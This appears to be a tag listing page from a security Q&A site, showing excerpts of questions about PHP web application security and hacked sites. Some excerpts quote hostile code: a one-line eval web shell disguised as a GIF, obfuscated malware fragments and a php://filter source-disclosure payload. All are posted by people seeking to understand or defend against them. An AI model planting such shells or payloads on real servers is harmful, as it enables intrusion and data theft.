Security aspects concerning code written in the programming language PHP which is often used for web applications.

learn more… | top users | synonyms

1
vote
1answer
21 views

API Keys for REST

So I'm developing a RESTful API, but I can't for the life of me understand how API keys work. I'm using PHP, which has an HMAC function, which I've read is a good way to sign requests, but what I ...
1
vote
2answers
119 views

Protecting code injection via chattr on php files?

Recently, a website I hosted (wordpress I think) for a friend got hacked and all php pages had added code at the bottom in the form of "echo base64_encode(...);". Thus there were unwanted ads on very ...
3
votes
2answers
69 views

Found this textarea with PHP in it. Might it be malicious/exploitable?

I came across this textarea on the website of a Medical Center. Clients enter sensitive medical data here. What users see: HTML: <textarea name="message">&lt;?php echo ...
0
votes
0answers
54 views

GoDaddy website hacked via PHP? [on hold]

So recently I opened the FTP account for a GoDaddy shared hosting website to find a few unusual PHP files scattered throughout various folders. The PHP code (which was highly obfuscated) eval'd code ...
0
votes
2answers
75 views

Ways to secure administrative pages of a portable site

I made a CMS (using PHP) that is basically drag and drop to be live (under linux/apache hosts), now I need the communications between the administrative/login pages of said CMS and the client (recent ...
10
votes
3answers
675 views

How secure are sha256 + salt hashes for password storage [duplicate]

I started reading about password hashing recently on multiple sites like this page on crackstation and others, and for what I have understood, I should avoid using hashing algorithms like md5 and sha1 ...
0
votes
4answers
270 views

How to secure MySQL database usernames and passwords within a php file? [duplicate]

I am working on a PHP website and my researches showed that it is entirely possible that the server can get hacked and the PHP files may get exposed. I store the MySQL DB Username and Password within ...
0
votes
1answer
138 views

With SSL: not saving sessions, cookies not being sent

My purpose is to have a fully SSL site. The web host gave this format of URL for my shared server SSL: https://hostaddress.net/example/ where www.example.com is the domain name. I conducted the ...
0
votes
3answers
66 views

What does this snippet of code do exactly? found it inside a number of files on my webserver [closed]

Okay so I found some PHP code as I was randomly editing a website I've had for a very long time and I have noticed this: <?php #2b8008# error_reporting(0); @ini_set('display_errors',0); ...
-2
votes
1answer
35 views

How to protect data at rest in a php application?

I was wondering which is the best way to secure data at rest (encrypt / decrypt) in a php application ( eq: stored in a database ) using AES ? Where is the best way to store the keys ?
2
votes
2answers
92 views

Will the following PHP code result in source code info leak/disclosure?

I'm aware of this vulnerability via PHP's filter stream wrapper that is able to disclose PHP source code: file=php://filter/convert.base64-encode/resource=filename.php. So I went ahead to guard ...
0
votes
1answer
31 views

PHP code in user session LFI filtered out

Firstly, I make the obligatory disclaimer that everything I am doing here is legitimate and pre-authorized, etc., etc. For those unfamiliar with user session local file inclusion in PHP, there's a ...
7
votes
3answers
4k views

How do crackers upload php scripts to Wordpress' wp-content directory?

I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory. Usually this directory is used ...
1
vote
2answers
58 views

CLI API that requires plaintext user details

I've been tasked with writing a module for my company to interface with an external api. This api has a syntax similar to ssh where I have to incorporate the user details as well as the host address ...
1
vote
1answer
28 views

What are the alternatives to null byte injection attack?

Now that Null byte injections no longer work on PHP, what are the alternative attack strategies used by attackers for remote file inclusion ?
1
vote
1answer
383 views

XSS attack vector without forward slash?

is there an XSS attack vector that allows the inclusion of a external .js file without having to use forward slashes? let's say the path of the file is somewebsite.com/js/xss.js Is there a way to ...
0
votes
2answers
62 views

My Magento shop is vulnerable to hacking [duplicate]

I have a headache with my shop using Magento, my shop is very vulnerable to hacking by bots or other people. They often add some scripts and files to sending spam mails. I think they come to me from ...
2
votes
0answers
29 views

SQLMap on a seqential form

There is a certain form that gets posted over POST. The form has some form elements. I am doing a pen-test on the application that has this form. The form values are being stored in a certain ...
6
votes
4answers
1k views

Store password using sha1 [duplicate]

I've been using the sha1() function to hash password before inserting it into my database. But I have this procedure so that it just won't be the password to be hashed. My page would register a user ...
2
votes
3answers
187 views

How to prevent adding malicious code, found in hacked Wordpress website?

I have a website created using Wordpress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an ajax request with a HTML code, which should receive a JSON object as ...
15
votes
8answers
3k views

Why do people say that PHP is inherently insecure?

I've heard it said that PHP is inherently insecure. Is this true? Why?
1
vote
1answer
65 views

Secure key generation and authentication in PHP

I'm not sure how to phrase this so I'll just explain my scenario and hopefully you can help. I have to create a site that will have 50-100 students all selecting courses they would like to take for ...
18
votes
6answers
30k views

Is it possible for a hacker to download a php file without executing it first?

I have a php website where everything is in the public_html\ folder, including an includes folder with config and classes. I told my developer to move it away from public folder but he said there is ...
-1
votes
3answers
166 views

PHP Code Found Is It Malicious?

I found the following code on my website. What does it do? Is it malicious? Thank you. <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 ...
0
votes
2answers
230 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
2
votes
2answers
122 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
3
votes
2answers
374 views

Set the max length for input

Suppose I have a form, and one of this form inputs I set the max length to 15: <input type="text" name="username" maxlength="15"> Now the attacker wants to override this limit, to do that he ...
1
vote
3answers
134 views

Make all form inputs safe but allow any type of input including code

Pastebin allow you to (along with plenty of other sites) input code into there forms. I know that this can be a huge security threat if not done properly so I would like to know how they go about ...
0
votes
3answers
92 views

Security benefits of hosting your CMS on localhost

If I host the CMS for my online website on localhost, will that mean that no one online can access it? If not, what is the most secure way to store your CMS?
0
votes
1answer
48 views

putting my password in a php file (phpmailer) [duplicate]

I'm using phpmailer and to use it you have to set $mail->password I worry that my password is going to be accessible by hackers. Do I need to do something to protect it? I could put the password in ...
0
votes
1answer
43 views

.htaccess protected folder except IP

I created an e-shop with e-books and they are stored in specific folder which is protected by a .htaccess file : Order deny,allow deny from all allow from 127.0.0.1 The IP is the IP of the webpage, ...
-1
votes
1answer
54 views

Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
1
vote
1answer
512 views

Is there a secure way to share sessions in the same server with different sub domains?

I'm studing a case that I have a RESTful backend (php-based) and a hybrid HTML+JS+PHP front-end in different subdomains: backend.example.com <-- A RESTful API to provide some XHR requests. ...
6
votes
3answers
998 views

DB Passwords: More Secure in a PHP App's .ini config files or apache2 environment variables?

I manage a php app whose key variables (such as database server addresses, DB user names and passwords, etc) change depending on their environment (Dev, QA, Production, etc.). In order to simplify ...
0
votes
2answers
420 views

Generating authentication token from PHP sessions

I have a traditional PHP site which uses sessions. I've developed a real-time app in nodejs and wish to authenticate users here based on their PHP session. The procedure would go something like this: ...
8
votes
2answers
605 views

Security issues with PHP Sandbox

I am working on a PHP sandbox for a Web Application Honeypot. The PHP sandbox will analyze a PHP file that may have been injected as part of an RFI attack. It should run the file in a safe environment ...
-4
votes
1answer
99 views

How to make my PHP website vulnerable to SQL injection [duplicate]

For training purposes, I want to make a demo website vulnerable to SQL injection. I went to the .htaccess file in the server and added these 2 lines: php_flag magic_quotes_gpc Off php_flag ...
0
votes
1answer
69 views

How to pick an encryption algorithm (cipher) and mode for PHP's mcrypt, for encrypting passwords?

There are numerous algorithms listed in the PHP documentation: http://php.net/manual/en/mcrypt.ciphers.php How strong is each one and what criteria to use when picking one? Also the ...
1
vote
0answers
109 views

Deobfuscated Malicious PHP Code Comprehensively [closed]

I found 3 php files in a htaccess-password-protected upload folder on my server: 1. default_folders.php 2. factory.php 3. HMAC.php Each of them contains a variable string, eg: ...
28
votes
4answers
19k views

How do you know your server has been compromised?

I recently helped a client who had their server hacked. The hackers added some PHP code into the header of the homepage redirecting the user to a porn website — but only if they came from Google. This ...
1
vote
0answers
27 views

Having trouble reproducing PHP heap based buffer overflow in quoted_printable_encode [closed]

I am trying to follow the test script provided here. I've installed an apache web server with PHP version 5.3.25 and created a script with the following code: <?php // file: test.php $str = ...
1
vote
1answer
74 views

Directory names using extensions a security risk?

In our app (PHP, MySQL) we allow users to create templates which are stored in their own subdirectory (which is named by the template name). Someone suggested to use standard file name sanitization ...
12
votes
3answers
668 views

Drupal server compromised - I want to investigate the attack technique / compromise

I've got a drupal site running on an up to date CentOS 7 LAMP AWS EC2 instance (freshly installed a couple of months ago) and I've just found out that somehow, probably through a poorly coded 3rd ...
7
votes
4answers
2k views

What does this malicious PHP script do? [closed]

Somebody hacked my site and uploaded this script (template46.php) to my webroot and its content is: <?php $vIIJ30Y = Array('1'=>'F', '0'=>'j', '3'=>'s', '2'=>'l', '5'=>'M', ...
0
votes
1answer
106 views

How does PHP's password_hash() BCRYPT cost factor translate into cracking computation times

I am trying to fully understand the relationship between BCRYPT's COST factors and how much more time it would take a machine to crack a password with PHP 5.5's password_hash() The encryption times I ...
13
votes
3answers
1k views

FTP hacked, planted file [closed]

Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what ...
0
votes
0answers
18 views

How to help devs use HMAC safely with multiple data values?

I work on an open source web app framework whose users (developers) need to generate "security tokens" (MACs) for various purposes. Since they've traditionally been using vulnerable methods like ...
2
votes
2answers
408 views

PHP: Am I free from SQL Injection? [duplicate]

Let me preface this by saying this is my first attempt to understand input sanitation, and at the moment I'm still a newbie to PHP. I've put together a quick register/log in website to test some ...
1
vote
5answers
627 views

Authenticate user without knowing their password

I'm working on a project where each each user will have a public/private RSA key-pair. Users will be able to send encrypted messages to each other using the each target user's public key so that only ...
-1
votes
3answers
603 views

Which PHP encryption method is most incidentally-secure?

just started researching on the latest PHP encryption methods, I've found out my favorite algorithms are compromised. MD5 is no good, SHA-1 has "found flaws", SHA-512 isn't "meant for passwords", ...